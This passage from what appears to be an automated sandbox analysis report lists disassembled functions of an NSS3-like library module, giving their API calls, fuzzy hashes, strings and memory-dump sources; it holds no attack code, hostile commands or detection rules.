Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterUnlock$HashLookupTable$calloc$Leave
String ID:
API String ID: 2204204336-0
Opcode ID: 7fe955d4890f1adb3059cced8bb085f462fe1830bc3be84ffbf94e61363224aa
Instruction ID: 50c76d22e5f5a32d6714d40d1df9f074234e1f1a1cd5d3a0705fda0667046dfd
Opcode Fuzzy Hash: 7fe955d4890f1adb3059cced8bb085f462fe1830bc3be84ffbf94e61363224aa
Instruction Fuzzy Hash: C171F576D00604EBEF209F25DC449AA7778FF15368B058164ED189BB12FB31E994C7B0

Function 6CC68DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC68E22
EnterCriticalSection.KERNEL32(?), ref: 6CC68E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC68E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC68E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC68E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC68EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC68EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC68EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC68F00
free.MOZGLUE(?), ref: 6CC68F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC68F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC68F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC68F5B
PR_Unlock.NSS3(?), ref: 6CC68F72
PR_Unlock.NSS3(?), ref: 6CC68F82

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: ee89d2af3464268607e6330d1aa486bc5360cc8a5160da5f7a83505807c52822
Instruction ID: 033287901f9798e76a0dea7baa5172971c1b020339a4c4a35992a080667676cc
Opcode Fuzzy Hash: ee89d2af3464268607e6330d1aa486bc5360cc8a5160da5f7a83505807c52822
Instruction Fuzzy Hash: D351D2B2A002019FEB009F6ACD84D6AB7B9EF56358F144129E8089BF50F731ED4587E2

Function 6CC8CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CC8CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC8CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CC8CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CC8CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CC8CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC8CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CC8CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CC8CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CC8CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CC8CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CC8CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CC8CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CC8CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CC8D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CC8D021

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: cabf365f1859bbef4f69f17bdc24a96e6a7c77c9548c5deb6b1a45414c3ec816
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: D3313071B9792227EF0D109B6C75B9F244A4B6630FF440039F90BE6BC0F7859A5703A9

Function 6CD60FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CD61000

Part of subcall function 6CD19BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CC41A48), ref: 6CD19BB3
Part of subcall function 6CD19BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CC41A48), ref: 6CD19BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD61016

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_Unlock.NSS3(?), ref: 6CD61021

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD61046
PR_Unlock.NSS3(?), ref: 6CD6106B
PR_Lock.NSS3 ref: 6CD61079
PR_Unlock.NSS3 ref: 6CD61096
free.MOZGLUE(?), ref: 6CD610A7
free.MOZGLUE(?), ref: 6CD610B4
PR_DestroyCondVar.NSS3(?), ref: 6CD610BF
PR_DestroyCondVar.NSS3(?), ref: 6CD610CA
PR_DestroyCondVar.NSS3(?), ref: 6CD610D5
PR_DestroyCondVar.NSS3(?), ref: 6CD610E0
PR_DestroyLock.NSS3(?), ref: 6CD610EB
free.MOZGLUE(?), ref: 6CD61105

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 7e6adaf27bf1500d12f44ff5ea7da600b70a2313dfaea94c4cf993a67b299e4a
Instruction ID: 744e350bb091bff95a46f81a09686b7a3f09c5499811bfef30705d5b37788e65
Opcode Fuzzy Hash: 7e6adaf27bf1500d12f44ff5ea7da600b70a2313dfaea94c4cf993a67b299e4a
Instruction Fuzzy Hash: FE3156B5A00402ABEB01AF15ED41A45BB75BF01319F188125E80952F61E732F978EBD2

Function 6CC9EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC9EE0B

Part of subcall function 6CCB0BE0: malloc.MOZGLUE(6CCA8D2D,?,00000000,?), ref: 6CCB0BF8
Part of subcall function 6CCB0BE0: TlsGetValue.KERNEL32(6CCA8D2D,?,00000000,?), ref: 6CCB0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC9EEE1

Part of subcall function 6CC91D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC91D7E
Part of subcall function 6CC91D50: EnterCriticalSection.KERNEL32(?), ref: 6CC91D8E
Part of subcall function 6CC91D50: PR_Unlock.NSS3(?), ref: 6CC91DD3

TlsGetValue.KERNEL32 ref: 6CC9EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC9EE65
PR_Unlock.NSS3(?), ref: 6CC9EEA2
free.MOZGLUE(?), ref: 6CC9EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC9EED0
PR_Unlock.NSS3(?), ref: 6CC9EF48
free.MOZGLUE(?), ref: 6CC9EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC9EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC9EFA4
free.MOZGLUE(?), ref: 6CC9EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC9F055
free.MOZGLUE(?), ref: 6CC9F060

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 921a0f5ed5c05dd89a65dbb1362a051a37b60ef1f774d7606bbb50fe1e1384cd
Instruction ID: bab2bc934fe389db4e13b36370fa1ac5f81e3e798c571e6b91f904bd3d32029a
Opcode Fuzzy Hash: 921a0f5ed5c05dd89a65dbb1362a051a37b60ef1f774d7606bbb50fe1e1384cd
Instruction Fuzzy Hash: C58161B1A00209ABDF00DFA5DC85BEE7BB9BF19318F144028E919A3711F731D964CBA1

Function 6CC64CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC64D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC64D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC64DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC64E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC64E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC64E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC64E85
DER_Encode_Util.NSS3(?,?,6CDB05A4,00000000), ref: 6CC64EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC64F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC64F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC64F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC64F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC64F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC64FC8

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: e65e509d316160c07af96483cba434a99ddf3a0e2006a47b7d12affd81a806f9
Instruction ID: 10137be34c272a4810ec647f71e2aad3454003a0d03efeb76f2770297eb6b784
Opcode Fuzzy Hash: e65e509d316160c07af96483cba434a99ddf3a0e2006a47b7d12affd81a806f9
Instruction Fuzzy Hash: E58192719083019FE701CF66D990B5BB7E8AF84758F14892DF958DBA40F731E905CB92

Function 6CC98F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC99582), ref: 6CC98F5B

Part of subcall function 6CCABE30: SECOID_FindOID_Util.NSS3(6CC6311B,00000000,?,6CC6311B,?), ref: 6CCABE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC98F6A

Part of subcall function 6CCB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC587ED,00000800,6CC4EF74,00000000), ref: 6CCB1000
Part of subcall function 6CCB0FF0: PR_NewLock.NSS3(?,00000800,6CC4EF74,00000000), ref: 6CCB1016
Part of subcall function 6CCB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CC587ED,00000008,?,00000800,6CC4EF74,00000000), ref: 6CCB102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC98FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CC98FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD7D820,6CC99576), ref: 6CC98FF9
DER_GetInteger_Util.NSS3(?), ref: 6CC9901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CC9903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC99062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC990A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CC990CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CC990F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC9912D
free.MOZGLUE(00000000), ref: 6CC99136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC99145

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 521c823f3c0db1a281641e63667f4811d6227d683b40611871103e36386f868f
Instruction ID: 9abf26ac1c478ade566a83f5849c96d7a626a9e57e5d5e605be03004609b5802
Opcode Fuzzy Hash: 521c823f3c0db1a281641e63667f4811d6227d683b40611871103e36386f868f
Instruction Fuzzy Hash: BF51CEB2A042009FEB00CF69DC81B9BB7E8BF84318F054529E959D7741F731E949CB92

Function 6CD64960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6CD68061,?,?,?,?), ref: 6CD6497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6CD6499E
GetLastError.KERNEL32(?,?,6CD68061,?,?,?,?), ref: 6CD649AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6CD68061,?,?,?,?), ref: 6CD649C2

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6CD68061,?,?,?,?), ref: 6CD649D6
CreateSemaphoreA.KERNEL32(00000000,6CD68061,7FFFFFFF,?), ref: 6CD64A19
GetLastError.KERNEL32(?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64A52
GetLastError.KERNEL32(?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64A5A
free.MOZGLUE(00000000,?,?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64A6A
CreateSemaphoreA.KERNEL32(?,6CD68061,7FFFFFFF,?), ref: 6CD64A9A
free.MOZGLUE(?,?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64AAE
free.MOZGLUE(?,?,?,?,?,6CD68061,?,?,?,?), ref: 6CD64AC2

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 230621a7239b0d73fcd352a19148cd18f45b3968101d64e3d267ab2be2a915bd
Instruction ID: 781b87c8c01f226506363a2e02e568ae9d43f67581c76f61903f9797eab0caa2
Opcode Fuzzy Hash: 230621a7239b0d73fcd352a19148cd18f45b3968101d64e3d267ab2be2a915bd
Instruction Fuzzy Hash: E841D770B40205EBEB00EFE9DD85B5E77B8AF89369F140129E91AA3B50DB31D504C765

Function 6CD6C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CD6C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD6C8DA
malloc.MOZGLUE(00000001), ref: 6CD6C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD6C8F8
PR_NewLock.NSS3 ref: 6CD6C909
PR_NewCondVar.NSS3(00000000), ref: 6CD6C918
PR_NewCondVar.NSS3(00000000), ref: 6CD6C92A

Part of subcall function 6CC40F00: PR_GetPageSize.NSS3(6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F1B
Part of subcall function 6CC40F00: PR_NewLogModule.NSS3(clock,6CC40936,FFFFE8AE,?,6CBD16B7,00000000,?,6CC40936,00000000,?,6CBD204A), ref: 6CC40F25

free.MOZGLUE(00000000), ref: 6CD6C947

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: a9b339260c91181a20ebaa0cd8d8440b2a5906ff5c733e300e046546b41ac177
Instruction ID: 7dd60cc45c6f197c45924c367292c3c97318c4605a728f598dbdba892c920be1
Opcode Fuzzy Hash: a9b339260c91181a20ebaa0cd8d8440b2a5906ff5c733e300e046546b41ac177
Instruction Fuzzy Hash: DB21D9B1A007019BEF10BFBAEC4566B76BCAF81269F140539E95BC2F10EB31D514C7A2

Function 6CC4AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC4AF47

Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190AB
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD190C9
Part of subcall function 6CD19090: EnterCriticalSection.KERNEL32 ref: 6CD190E5
Part of subcall function 6CD19090: TlsGetValue.KERNEL32 ref: 6CD19116
Part of subcall function 6CD19090: LeaveCriticalSection.KERNEL32 ref: 6CD1913F

FreeLibrary.KERNEL32(?), ref: 6CC4AF6D
free.MOZGLUE(?), ref: 6CC4AFA4
free.MOZGLUE(?), ref: 6CC4AFAA
PR_ExitMonitor.NSS3 ref: 6CC4AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CC4AFF5
PR_ExitMonitor.NSS3 ref: 6CC4B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC4B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CC4B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CC4B03C

Strings

%s decr => %d, xrefs: 6CC4AFF0
Unloaded library %s, xrefs: 6CC4B023

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 1471dfa56b4553a78b6a1a93ec4a78b7c3fca1f561dca28893af4cd61a6bf195
Instruction ID: 59ba15d6e84f46094836a3de4240eea7b6d607151ec0074463b885babf4cbc08
Opcode Fuzzy Hash: 1471dfa56b4553a78b6a1a93ec4a78b7c3fca1f561dca28893af4cd61a6bf195
Instruction Fuzzy Hash: D831E3F5B04511ABFB019F65EC40A19B779EB85359B18C139E80687A50F322E829C7F5

Function 6CC96C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC9781D,00000000,6CC8BE2C,?,6CC96B1D,?,?,?,?,00000000,00000000,6CC9781D), ref: 6CC96C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC9781D,?,6CC8BE2C,?), ref: 6CC96C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC9781D), ref: 6CC96C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC96C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC96C96

Part of subcall function 6CC41240: TlsGetValue.KERNEL32(00000040,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC41267
Part of subcall function 6CC41240: EnterCriticalSection.KERNEL32(?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC4127C
Part of subcall function 6CC41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC41291
Part of subcall function 6CC41240: PR_Unlock.NSS3(?,?,?,?,6CC4116C,NSPR_LOG_MODULES), ref: 6CC412A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC96CAA

Strings

rdb:, xrefs: 6CC96C69
dbm:, xrefs: 6CC96C3A
extern:, xrefs: 6CC96C7E
dbm, xrefs: 6CC96CA4
sql:, xrefs: 6CC96C52
NSS_DEFAULT_DB_TYPE, xrefs: 6CC96C91

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 8bdb5e1d468f055a47e79ca781da2c957446d896f7f33ea1346caa1ee0fa8f3f
Instruction ID: 799383ad90cddd210f274a5f5f1bafe089fe8295ce2429b58e9660fcdf8d57d7
Opcode Fuzzy Hash: 8bdb5e1d468f055a47e79ca781da2c957446d896f7f33ea1346caa1ee0fa8f3f
Instruction Fuzzy Hash: 9601A2E5B0270137FA5037BAAC4AF66255C9F81159F144431FF04E09C1FBA2E61881E5

Function 6CCA4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CC678F8), ref: 6CCA4E6D

Part of subcall function 6CC409E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CC406A2,00000000,?), ref: 6CC409F8
Part of subcall function 6CC409E0: malloc.MOZGLUE(0000001F), ref: 6CC40A18
Part of subcall function 6CC409E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CC40A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CC678F8), ref: 6CCA4ED9

